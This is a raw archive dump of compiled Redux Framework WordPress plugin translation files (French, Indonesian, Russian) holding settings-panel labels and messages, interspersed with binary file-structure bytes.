URL.The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"The version of MySQL installed on your hosting server.The version of PHP installed on your hosting server.The version of Redux Framework installed on your site.The version of WordPress installed on your site.ThemeThere was a problem with your action. Please try again or reload the page.There was an error saving. Here is the result of your action:This field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.This variable set whether or not the menu is displayed as an admin menu item for this instance of Redux.This will provide to your developer all the information they may need to remedy your issue. This action WILL send information securely to a remote server. To see the type of information sent, please look at the Status tab.TitleTo To allow data saving, make %s writable.To get started, we will need to generate a support hash.TopTransparentURLUnable to modify required files. Please ensure thatUnderstanding the Status ReportUnitsUnknown action "%1$s" specified for %2$sUnsafe strings were found in your CSS and have been filtered out.UploadUsed to grab information from remote servers for updates updates.Used to send data to remote servers.Used when communicating with remote services with PHP.UserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!WP Debug ModeWP Memory LimitWP MultisiteWP VersionWant to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!We are an open source project used by developers to make powerful control panels.We recognize we are nothing without our community. We would like to thank all of those who help Redux to be what it is. Thank you for your involvement.Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat is Redux Framework?What type of user are you?What's NewWhether or not you have WordPress Multisite enabled.While some are built specificially for developers, extensions such as Custom Fonts are sure to make any user happy.WidthWord SpacingWordPress EnvironmentWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?Your panel has no fields. Nothing to save.Your server does not have fsockopen or cURL enabled - cURL is used to communicate with other servers. Please contact your hosting provider.by authorby %sclickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkis availableleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!wp_remote_get() failed. This is needed to get information from remote servers. Contact your hosting provider.wp_remote_post() failed. Many advanced features may not function. Contact your hosting provider.Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Franck Language-Team: French (France) (http://www.transifex.com/projects/p/redux-framework/language/fr_FR/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: fr_FR Plural-Forms: nplurals=2; plural=(n > 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes %s - Nous recommandons de régler la mémoire au moins à 40MB. Voir : Augmenter la mémoire allouée à PHPLa version %s%s est obsolète. La version du noyau est %sVotre panneau a fourni des copies obsolètes des fichiers modèles Redux Framework – si vous rencontrez des problèmes de fonctionnalité, ceci pourrait en être la raison. Assurez-vous de les mettre à jour ou de les supprimer.Activer le mode de démonstrationActiver les extensions de développement ActifExtensions activéesAjouter %sAjouter plusAjouter ou modifier une galerieToutToutes les options par défaut ont bien été rétablies !Autoriser le suiviÊtes-vous sûr ? Réinitialiser supprimera toutes les données.Êtes-vous sûr ? Cela supprimera toutes les données personnalisées de cette section.Êtes-vous sûr ? Cela supprimera toutes les données.URL de l'auteurAction automatique effectuée : "%s"Image d’arrière-planLimites de coloration de l'arrière-planOrigine de l’arrière-planPosition d’arrière-planRépétition de l’arrière-planDimension de l’arrière-planSauvegarder la famille de policeLe style de bordureEn basNavigateurInfo navigateurConstructeurJournal des modificationsThème enfant.Vider la galerieCliquez ici pour activer le fichier de configuration de démonstration.FermerCopié !Copier les donnéesCopier l'URL d'ExportCopier pour le supportCréditsPréfixe de la table de la base de donnéesDésactiver le mode de démonstrationDésactiver les extensions de développement Valeur par défautLe fuseau horaire par défaut est UTCLe fuseau horaire par défaut est %s - Il devrait être UTCSupprimerDescriptionDétermine si PHP affichera les erreurs dans le navigateur.DéveloppeurMode Développeur activéSaviez-vous que nous avons des extensions, qui améliorent les fonctionnalités de Redux ? Visitez notre %1$s pour en savoir plus !DésactiverFermerAffiche si WordPress est en mode débogage ou non.Affiche si le le thème actuel est un thème enfant ou non.Ne pas autoriser le suiviDocsTélécharger le fichier de données.Adresse e-mailActiverErreur : %sÉlargirOptions d'ExportationExtensionsCouleur de la policeFamille de policesTaille de la policeSous-ensembles de policeVariante de policeStyle & Police de caractèresCouleur de policeFamille de policeScript de policeStyle de policeSous-ensembles de policeDePage d’accueilAffichage de la page d’accueilGénérer une URL de supportGénérer une URL de supportObtenir de l'aideObtenir le rapport systèmeMise en routePolices web GoogleHauteurAider nous à améliorer notre panneauCopier / télécharger les options actuelles ici. Conservez-le précieusement et l'utiliser comme une sauvegarde en cas de problème, ou l'utiliser pour restaurer les paramètres de cet ou un autre site.IndicesLes indices sont des info-bulles qui apparaissent quand %d touche l'icône de l'indice. Ils fournissent des informations supplémentaires sur le champ dans lequel ils apparaissent. Ils peuvent être %d en utilisant le lien ci-dessous.URL de l'accueilSurvolComment obtenir du supportJe suis un développeur construisant un produit utilisant Redux.Je suis un utilisateur utilisant un produit pré-construit.Si c'est le cas %1$s, merci de faire un geste pour nous avec une %2$s qui nous permettra de poursuivre le développement de Redux.Si vous souhaitez savoir tout ce qui concerne Redux, abonnez-vous à notre newsletterSi vous modifiez le Framework Redux ou un thème parent que vous ne avez pas construit personnellement, nous recommandons d'utiliser un thème enfant. Voir : Comment créer un thème enfantImporterImporter / ExporterOptions d'importationImporter depuis un fichierImporter depuis une URLIndique si la sauvegarde basée sur ajax est activée pour cette instance de Redux.Indique si le mode développeur est activé pour cette instance de Redux.Indique si le drapeau de sortie pour arrêter globalement toutes les sorties de CSS est activé pour cette instance de Redux.Indique si le drapeau du compilateur est activé pour cette instance de Redux.Indique les extensions Redux installés et leur numéro de version.Information surle serveur web qui héberge actuellement votre site.Information sur le navigateur web actuellement utilisé.Importer URL à l'option poste d'un autre site. Appuyez sur Importer pour charger.Indiquez votre fichier de sauvegarde ci-dessous. Puis appuyez sur Importer pour restaurer vos options partir de cette sauvegarde.Certificat de sécurité invalide, veuillez recharger la page et essayer à nouveau.Est-ce que le serveur fonctionne dans un environnement local.LangueEn savoir plusA gaucheEspacement des lettresVous aimez Redux ?Hauteur de ligneListe des fichiers de modèle surchargeant les fichiers de modèle par défaut de Redux.Voici ci-dessous la liste des extensions et / ou thèmes Wordpress installés sur votre site qui utilisent Redux Framework. Nous ne fournissons pas directement de support sur les produits créés avec notre framework. Il est de la responsabilité du développeur de l'extension ou du thème de supporter leur travail. Vous aurez besoin de contacter (les) l'auteur(s) des produits énumérés ci-dessous avec vos questions de support.Environnement local Taille max de mise en ligneDoit être appelé après l'action"plugins_loaded".Version MySQLNomNouvel %sNouveau dans cette versionNewsletterAucun élément de ce type n'a été trouvé.Aucun média selectionnéOffOnChoixChoix ObjetPanneau d'options créé avec %1$sNotre noyau mantra dans Redux est de compatibilité ascendante. Avec des centaines de milliers de cas dans le monde entier, vous pouvez être assuré que nous allons prendre soin de vous et vos clientsAffichage des erreurs PHPPHP Max Input VarsLimite de mémoire PHPPHP taille maximale d'envoiLimite de temps PHPVersion PHPURL de l'auteur du thème parentNom du thème parentVersion du thème parent.Mot de passeStructure du permalienVeuillez patienter...Merci de vous assurez d'inclure pour votre développeur - via copier-coller - l'URL de support dans la case ci-dessous.Veuillez copier et coller cette information dans votre ticket lorsque vous contactez le support :S'il vous plaît aider nous à améliorer notre panel en nous permettant de recueillir des informations anonymes d'utilisation afin que nous sachions quelles configurations, extensions et thèmes nous devons tester pour assurer une parfaite compatibilité.Veuillez vous rendre dans le gestionnaire d'incident Redux Framework et nous fournir votre URL de support ci-dessous. Merci de nous fournir également toute information qui nous aidera à reproduire votre problème.Page des articlesAccessibilité en écriture du répertoire de données ReduxExtensions ReduxRedux FrameworkRedux Framework - Un effort communautaireRedux Framework - Journal des modificationsRedux Framework - ExtensionsRedux Framework - SupportRedux Framework - Statut systèmeJournal des modifs de Redux FrameworkStatut Redux FrameworkRedux Framework a une démonstration intégrée.Redux Framework est au cœur de nombreux produits sur le web. C'est un framework d'option que les développeurs utilisent pour améliorer leurs produits.Redux GeneratorInstance de Redux :Version de ReduxRedux et ses extensions écrivent des données dans le répertoire uploads. Ce répertoire doit être accessible en écriture.Redux est un simple, vraiment modifiable framework d'options pour les thèmes et extensions de WordPress.Redux est créé par une communauté de développeurs dans le monde entier. Vous voulez également avoir votre nom inscrit ?Contribuer à Redux.RégulierGet distantPost distantSupprimerRepoTout réinitialiserRéinitialiser la sectionÀ droiteSUHOSIN installéEnregistrer les modificationsToutes les sections par défaut ont bien été rétablies.Sélectionner le type de supportSélectionnez votre type de supportSélectionner un élémentEnvironnement serveurInfo serveurRéglages importés !Réglages enregistrés !Les réglages ont changés, vous devriez les enregistrer !Si le développeur n'est pas réactif, lisez l' article suivant avant de nous demander directement du support.Afficher l'objet dans la console JavascriptURL du siteTailleGlissementPolices standartsStatutStyleEnvoyer une demande de supportAbonnez-vousSous-ensemblesSuhosin est un système de protection avancé pour les installations PHP. Il a été conçu pour protéger vos serveurs d'une part contre un certain nombre de problèmes bien connus dans les applications PHP et d'autre part contre de potentielles vulnérabilités inconnues au sein de ces applications ou du noyau de PHP lui-même. S'il est activé sur votre serveur, Suhosin peut avoir besoin d'être configuré pour augmenter ses limites de soumission de données.Dynamisez votre expérience Redux. Nos extensions vous fournissent des fonctionnalités qui enverront vos produits au niveau suivant.AideLe code de support n'a pas pu être généré. Veuillez réessayer plus tard.Infos systèmeTeam ReduxAlignement du texteDécoration du texteTransformation du texteMerci pour la mise à jour vers la dernière version ! Redux Framework %s est un énorme pas en avant dans le développement Redux. Regardez tout ce qui est nouveau.Cet identifiant d'URL est utilisé, veuillez en choisir un autre. %s est disponible pour l'utiliser.L'URL de la page d'accueil de votre site.La durée (en secondes) que votre site consacre à une seule opération avant son interruption (pour éviter que le serveur boucle)Le mode de lecture actuel de WordPress.Le langage actuellement utilisé par WordPress. Par défault = anglaisLa structure courante du permalien est tel que défini dans Wordpress Réglages -> Permaliens.La page actuellement sélectionnée dans laquelle les articles du blog sont affichés.La page actuellement sélectionnée qui agit comme page d’accueil du site.Le fuseau horaire par défaut de votre serveur.Les dossiers et fichiers suivants sont toujours situés dans votre dossier Redux. Cela peut causer des erreurs lors du Theme-Check.L'argument global_variable pour cette instance de Redux.La version installée du thème actuellement activé.La version installée du thème parent.La plus grande taille de fichier qui peut être contenue dans un article.La plus grande taille de fichier qui peut être mis en ligne sur votre installation de WordPress.La quantité maximum de mémoire (RAM) que votre site peut utiliser en même temps.Le nombre maximum de variables que votre serveur peut utiliser pour une seule fonction pour éviter les surcharges.Le nom du thème actuellement activé.Le nom du thème parent.L'argument opt_name pour cette instance de Redux.La variable output_tag définie si le CSS dynamique sera généré pour l'outil de personnalisation et les polices Google pour cette instance de Redux.La page des ensembles de variable parent lorsque le menu d'options sera mis sur la colonne latérale de l'admin WordPress pour cette instance de Redux.La page de variable d'autorisations définit le niveau d'autorisation requis pour accéder au panneau d'options pour cette instance de Redux.La page identifiant désigne la chaîne utilisée pour la page du panneau des options de cette instance de Redux.URL des développeurs du thème parentLes personnes qui développent Redux FrameworkLa structure du préfixe de la base de données de WordPress.L'URL racine de votre site.Le chemin de modèle spécifié contenant des fichiers de modèles personnalisés pour cette instance de Redux.URL du développeur du thème.Le thème que vous testez a %s d'incorporé. Nous vous invitons à lire la %sDocumentation du Theme-Checker%s pour comprendre certains avertissements que vous pourrez avoir à cause de Redux.L'action inconnue a été remplacée par "%s"La version de MySQL installée sur le serveur de votre hébergement.La version de PHP installées sur votre serveur d'hébergement.Las version de Redux Framework installée sur votre site.La version de WordPress installée sur votre site.ThèmeIl y a eu un problème avec votre action. Veuillez essayer de recharger la page.Il y a eu une erreur en sauvegardant. Voici le résultat de votre action :Ce champ ne peut pas être vide. Veuillez saisir une valeur.Ce champ doit contenir une valeur de couleur valide.Ce champ doit contenir une date valide.Cet écran vous montre les nombreuses fonctionnalités de Redux. Mais avant d'allez plus loin, nous vous proposons d'examiner rapidement %1$s.Cette variable définie si le menu s'affiche ou comme un élément du menu d'administration de cette instance de Redux.Cela fournira à votre développeur toutes les informations dont il pourrait avoir besoin pour remédier à votre problème. Cette action VA ENVOYER des informations en toute sécurité sur un serveur distant. Pour voir le type d'information envoyé, veuillez consulter l'onglet État.TitrePourPour permettre la sauvegarde des données, rendez %s accessible en écriture.Pour commencer, nous aurons besoin pour générer un code de support. En hautTransparentURLImpossible de modifier les fichiers requis. Veuillez vérifier qu'ils soient modifiablesComprendre le rapport de statutUnitésAction inconnue "%1$s" demandée pour %2$sDes chaînes dangereuses ont été trouvés dans votre CSS et ont été filtrées.TéléchargerUtilisé pour récupérer des informations depuis des serveurs distants pour les mises à jour de mises à jour.Utilisé pour envoyer des données vers des serveurs distants.Utilisé lors des communications avec les services distants avec PHP.UtilisateurNom d'utilisateurVersionVersion %sAfficher l’%sAller sur le site de l’extensionVisitéATTENTION! Toutes les valeurs optionnelles existantes seront écrasées. Soyez prudent !Mode débogage WPLimite de mémoire WPWP MultisiteVersion WPEnvie de démarrer rapidement ? Utilisez %1$s. Il créera un thème boilerplate personnalisé ou un dossier admin complet qui contiendra tout Redux (avec l'aide de TGM et Underscores). Epargnez-vous des maux de tête inutiles et essayez-le dès maintenant !Attention - Ce panneau d'options ne fonctionnera pas sans Javascript !Nous sommes un projet open source utilisé par les développeurs pour fabriquer des panneaux de contrôle puissants.Nous reconnaissons que nous ne sommes rien sans notre communauté. Nous tenons à remercier tous ceux qui aident Redux à être ce qu'il est. Merci pour votre implication.Bienvenue dans Redux FrameworkBienvenue dans Redux Framework %sBienvenue sur l'écran de démo de ReduxQu'est-ce que Framework ?Quel type d'utilisateur êtes-vous ?Quoi de neuf ?Si vous avez activé WordPress Multisite ou non.Alors que certains sont construits spécifiquement pour les développeurs, les extensions telles que Custom Fonts sont sûr de faire plaisir à n'importe quel utilisateur.LargeurEspacement des motsEnvironment WordPressEn cours...Vous n'avez pas les droits suffisants pour accéder à cette page.Vous avez des modifications non enregistrées. Voulez vous les enregistrer maintenant ?Vous avez des modifications non enregistrées. Voulez vous les enregistrer maintenant ?Vous ne devez pas entrer de code HTML dans ce champ. Toutes les balises HTML ont été supprimés.Vous ne devez pas entrer des caractères spéciaux dans ce champ. Tous les caractères spéciaux ont été supprimés.Vous devez fournir une liste séparée par des virgules de valeurs numériques pour cette option.Vous devez fournir une valeur numérique pour cette option.Vous devez fournir une URL valide pour cette option.Ce champ nécessite une adresse e-mail valide.Vos options vont être remplacées par de nouvelles valeurs. Voulez vous continuer ?Vos options vont être remplacées par de nouvelles valeurs. Voulez vous continuer ?Votre panneau n'a pas de champ. Rien à sauvegarder.Votre serveur n'a pas fsockopen ou cURL activé - cURL est utilisé pour communiquer avec d'autres serveurs. Veuillez contacter votre hébergeur.par %sen cliquantFaire un donDes erreurs ont été trouvées !répertoires des extensionsa les bonnes autorisations en lecture/écriture ou entrez vos informations de FTP ci-dessous.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkest disponibleLaissez-nous une critique favorable sur WordPress.orgau passage de la sourisnotre documentationDes avertissements ont été trouvés !wp_remote_get() a échoué. C'est nécessaire pour obtenir des informations à partir des serveurs distants. Contactez votre hébergeur.wp_remote_post() a échoué. Beaucoup de fonctions avancées peuvent ne pas fonctionner. Contactez votre hébergeur.lib/redux-framework/languages/redux-framework-id_ID.mo000064400000022165147206624460017050 0ustar00x( ) < C J S d h 5w D 4 ' = Q c v  .         ! ) ? F M \ g s }          ] XS! 8 AM]%w   , (6_dsz '   $ ,7MUUF  %;0FlEKbEL3-)/Wa`J_iv  %46Dk6/ DQXj-{     %0 ? K W d p |  #  4mO+ *2#F j u%  8>S' % . N T [ _ j n u |     e G&!n!!!!;!<!@."Zo"`"8+#d#{##D#X#G$V$0]Zs l2w=) 1$6D(Eb3.OF*<&rH R%CP"_4;@ NxMpf,KkmVa[Ye:>qvu+Qc`U/5JG9W8g-n!^TAS#tj\BILd 'o7hX?iActivate Demo ModeActiveAdd %sAdd MoreAdd/Edit GalleryAllAllow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDefaultDeleteDescriptionDeveloperDisableDismissDo not allow trackingEnableExpandExport OptionsFont ColorFont FamilyFont SizeFont colorFont familyFont scriptFont styleFont subsetsFrom Google WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HoverImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingNameNew %sNo items of this type were found.No media selectedOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.RegularRemoveReset AllReset SectionRightSave ChangesSelect an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeStandard FontsStatusStyleSubsetsSupportSystem InfoThemeThis field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUploadUserUsernameVersionVersion %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Warning- This options panel will not work properly without javascript!Welcome to the Redux Demo PanelWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?error(s) were found!warning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Indonesian (Indonesia) (http://www.transifex.com/projects/p/redux-framework/language/id_ID/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: id_ID Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktifkan Mode DemoActiveTambah %sTambahTambah/Hapus GaleriSemuaSilakan TrackingAnda yakin? Reset akan menghapus semua custom value.Yakin ? Reset akan menghapus semua pengaturan pada bagian ini saja. Yakin ? Reset akan menghapus semua pengaturan yang adaLampiran Latar belakang Posisi Latar belakang Latar belakang BerulangCadangan Jenis HurufModel BorderBottomCatatan PerubahanBersihkan GaleriKlik untuk mengaktifkan berkas sample config.TutupPenghargaanDeaktifasi Mode DemoStandarHapusDeskripsiPengembangNonaktifkanSelesaiTidak boleh trackingAktifkanKembangkanPilihan EksporWarna HurufJenis HurufUkuran HurufWarna HurufJenis HurufBentuk HurufModel HurufSubset HurufDariGoogle WebfontsTinggiUrun peran dalam pengembangan PanelAnda dapat menyalin/mendonwload settingan saat ini. Simpan baik-baik sebagai cadangan bila terjadi hal-hal yang tidak diinginkan, atau dapat digunakan untuk mengembalikan settingan pada situs ini ( atau situs mana saja dengan pilihan settingan yang sama )HoverImporImpor / EksporPilihan ImporImpor dari URLMasukkan URL berkas cadangan, dan klik tombol Impor.Masukkan berkas cadangan dibawah ini lalu klik tombol Impor untuk menggunakan settingan dari berkas cadangan.LeftJarak antar hurufNamaBaru %sTidak ada pilihan untuk field jenis berikutTidak ada media yang dipilihOptionsData Object OptionsPanel pengaturan dibuat dengan %1$sKata SandiHarap TungguRedux FrameworkDaftar perubahan pada Redux FrameworkRedux Framework pada mode DemoRegulerHapusReset SemuaReset SectionRightSimpan perubahanPilihSettingan Berhasil Diimpor!Setting Berhasil Disimpan!Settingan telah berubah, silakan disimpan, klik tombol Simpan!Tampilkan Object pada Konsol JavascriptUkuranJenis Huruf StandarStatusModelSubsetDukunganInformasi SystemTemaMasukkan hanya nilai warna yang validMasukkan format data yang validJudulHinggaTopTransparanURLSatuanUnggahPenggunaNama PenggunaVersiVersi %sKunjungi laman pluginVisitedPERHATIAN! Prosedur berikut akan melakukan penimpaan semua settingan yang ada, pastikan semua sesuai.Perhatian- Panel options ini tidak dapat bekerja baik tanpa javascript!Selamat datang di panel demoLebarJarak antar kataTunggu sebentar...Anda tidak memiliki cukup izin untuk mengakses halaman ini.Perubahan yang dibuat belum disimpan. Mau disimpan sekarang?Perubahan yang dilakukan belum disimpan. Mau disimpan sekarang ?Anda tidak dapat memasukkan segala format HTML pada field ini, semua tag HTML akan dihapusAnda tidak dapat memasukkan spesial karakter pada field ini, semua spesial karakter akan dihapusMasukkan daftar berupa barisan angka dibatasi tanda komaMasukkan nilai numerikMasukkan nilai numerikMasukkan nilai numerikSettingan anda saat ini akan digantikan dengan nilai preset. Lanjut?Pengaturan saat ini akan diganti dengan pengaturan yang ditetapkan dalam preset. Lanjut?terdapat errorditemukan peringatan (warning)lib/redux-framework/languages/redux-framework-ru_RU.mo000064400000136354147206624460017142 0ustar00Kt {d5^q5D%4j  )9 LY` hu }  .   ' < [ c ){  9  l!!!3!;!""" ."<" C"M"T" c" n" y" " " "" " " " " "" # #. #O# f#r######$$9%B%H%1[%'%Z%U&f&'$'4'C'T'Ed'B'h'EV(C(E(-&)]T)X)B *1N** *** * *C*[+`,v,2, ,,,, ,!,-&-*---5- D-e-.#.6.G.Y. h.t..... .d.NA//60 00 11$.1S1o11111%1222 2k2WG33}4 4 444 4 444 4455-5<5 O5[5n5,~55(;6d6m6r6x6666 666{K88<8 9 9 #9.9>9M9P9 $:{E:&:9:M";>p;@;%;<8<2<*=72=Ij=F=]=%Y>>1>>~Y?x?\Q@ @'@7@/AXJAAA.[B6B4B6B0-C^CJdC=C3C'!D IDyjDhDME>FDF4HF8}FF FF3FFG($GAMGGAG$G6G4H9HBH JHUH]HsHU{H HH H HIFIQ3JJK8KVKvKK K4KsK^L dLqL L;LFLEMK[MbML N3WN-N/NaN`KO*OOcPsP|PPPJPP,Q AQ,NQ{QQQmQ`(RR.VxV8UW<XCX6YFYfYzY0YYDY+Z|;ZZdP[[J[\9\I\[\s\\\\\\(\ ]#]6]P]np]]]!^)(^$R^w^#^>^G^=_HU_c_``Z"`}`#``ka~aVaTa+9beb~bbbbbbcc 1cI[Ё -$9^u Ʉ !%F8*1܅!&.C&r\:ه # 0!; ] j5uˆՈ'3 [%f5ҍ;@|1Lk~fLؒLQJ6|7:)7Ea?A8TD,қ5<F!ah\ʞR'NzɟҟsPgET¥ǥ_dĦͦ5rIm yei &3C3W-a&~#ɫ٫wҮ25>*"iG԰=' *;XknqڲqLt3uԴlJce#Rŷ)8&b+,ErO(Ӻ!9X3vp m(-E\[xo/,%OAWI|FC0q!?G4(H uBVDPC k@Z+2$ =`_n :TdR+!&A)92.Y5<D@E>h"L-*=0 rG3Js# Q7&61 {SM?8 84.f )*1'U;F };6Kbc5^"KeN'aziy9BX]J$%I7>:Hlt, 3/#gjw<~%s - We recommend setting memory to at least 40MB. See: Increasing memory allocated to PHP%s version %s is out of date. The core version is %sYour panel has bundled outdated copies of Redux Framework template files – if you encounter functionality issues this could be the reason. Ensure you update or remove them.Activate Demo ModeActivate Development PluginsActiveActive PluginsAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Author URLAutomatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserBrowser InfoBuilderChangelogChild ThemeClear GalleryClick here to activate the sample config file.CloseCopied!Copy DataCopy Export URLCopy for SupportCreditsDatabase Table PrefixDeactivate Demo ModeDeactivate Development PluginsDefaultDefault Timezone is UTCDefault timezone is %s - it should be UTCDeleteDescriptionDetermines if PHP will display errors within the browser.DeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDisplays whether or not WordPress is in Debug Mode.Displays whether or not the current theme is a child theme.Do not allow trackingDocsDownload Data FileEmail addressEnableError: %sExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageFront Page DisplayGenerate a Support URLGenerate a Support URLGet SupportGet System ReportGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.Home URLHoverHow to Get SupportI am a developer, building a product using Redux.I am a user, using a pre-built product.If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterIf you're modifying Redux Framework or a parent theme you didn't build personally, we recommend using a child theme. See: How to create a child themeImportImport / ExportImport OptionsImport from FileImport from URLIndicates if ajax based saving is enabled for this instance of Redux.Indicates if developer mode is enabled for this instance of Redux.Indicates if output flag for globally shutting off all CSS output is enabled for this instance of Redux.Indicates if the compiler flag is enabled for this instance of Redux.Indicates the installed Redux extensions and their version numbers.Information about the web server that is currently hosting your site.Information about web browser current in use.Input the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.Invalid security credential, please reload the page and try again.Is the server running in a localhost environment.LanguageLearn MoreLeftLetter SpacingLike Redux?Line HeightList of template files overriding the default Redux template files.Listed below are the Wordpress plugins and/or theme installed on your site that utilize Redux Framework. We do not directly support products created with our framework. It is the responsibility of the plugin or theme developer to support their work. You will need to contact the author(s) of the products listed below with your support questions.Localhost EnvironmentMax Upload SizeMust call in of after the "plugins_loaded" action.MySQL VersionNameNew %sNew in this ReleaseNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sOur core mantra at Redux is backwards compatibility. With hundreds of thousands of instances worldwide, you can be assured that we will take care of you and your clients.PHP Display ErrorsPHP Max Input VarsPHP Memory LimitPHP Post Max SizePHP Time LimitPHP VersionParent Theme Author URLParent Theme NameParent Theme VersionPasswordPermalink StructurePlease WaitPlease be sure to include for your developer - via cut and paste - the Support URL in the box below.Please copy and paste this information in your ticket when contacting support:Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Please proceed to the Redux Framework issue tracker and supply us with your support URL below. Please also provide any information that will help us to reproduce your issue.Posts PageRedux Data Directory WritableRedux ExtensionsRedux FrameworkRedux Framework - A Community EffortRedux Framework - ChangelogRedux Framework - ExtensionsRedux Framework - SupportRedux Framework - System StatusRedux Framework ChangelogRedux Framework StatusRedux Framework has an embedded demo.Redux Framework is the core of many products on the web. It is an option framework which developers use to enhance their products.Redux GeneratorRedux Instance: Redux VersionRedux and its extensions write data to the uploads directory. This directory must be writable.Redux is a simple, truly extensible options framework for WordPress themes and plugins.Redux is created by a community of developers world wide. Want to have your name listed too? Contribute to Redux.RegularRemote GetRemote PostRemoveRepoReset AllReset SectionRightSUHOSIN InstalledSave ChangesSection Defaults Restored!Select Support TypeSelect Your Support TypeSelect an itemServer EnvironmentServer InfoSettings Imported!Settings Saved!Settings have changed, you should save them!Should the developer not be responsive, read the following article before asking for support from us directly.Show Object in Javascript Console ObjectSite URLSizeSlideStandard FontsStatusStyleSubmit a Support RequestSubscribeSubsetsSuhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.Supercharge your Redux experience. Our extensions provide you with features that will take your products to the next level.SupportSupport hash could not be generated. Please try again later.System InfoTeam ReduxText AlignText DecorationText TransformThank you for updating to the latest version! Redux Framework %s is a huge step forward in Redux Development. Look at all that's new.That URL slug is in use, please choose another. %s is open for use.The URL of your site's homepage.The amount of time (in seconds) that your site will spend on a single operation before timing out (to 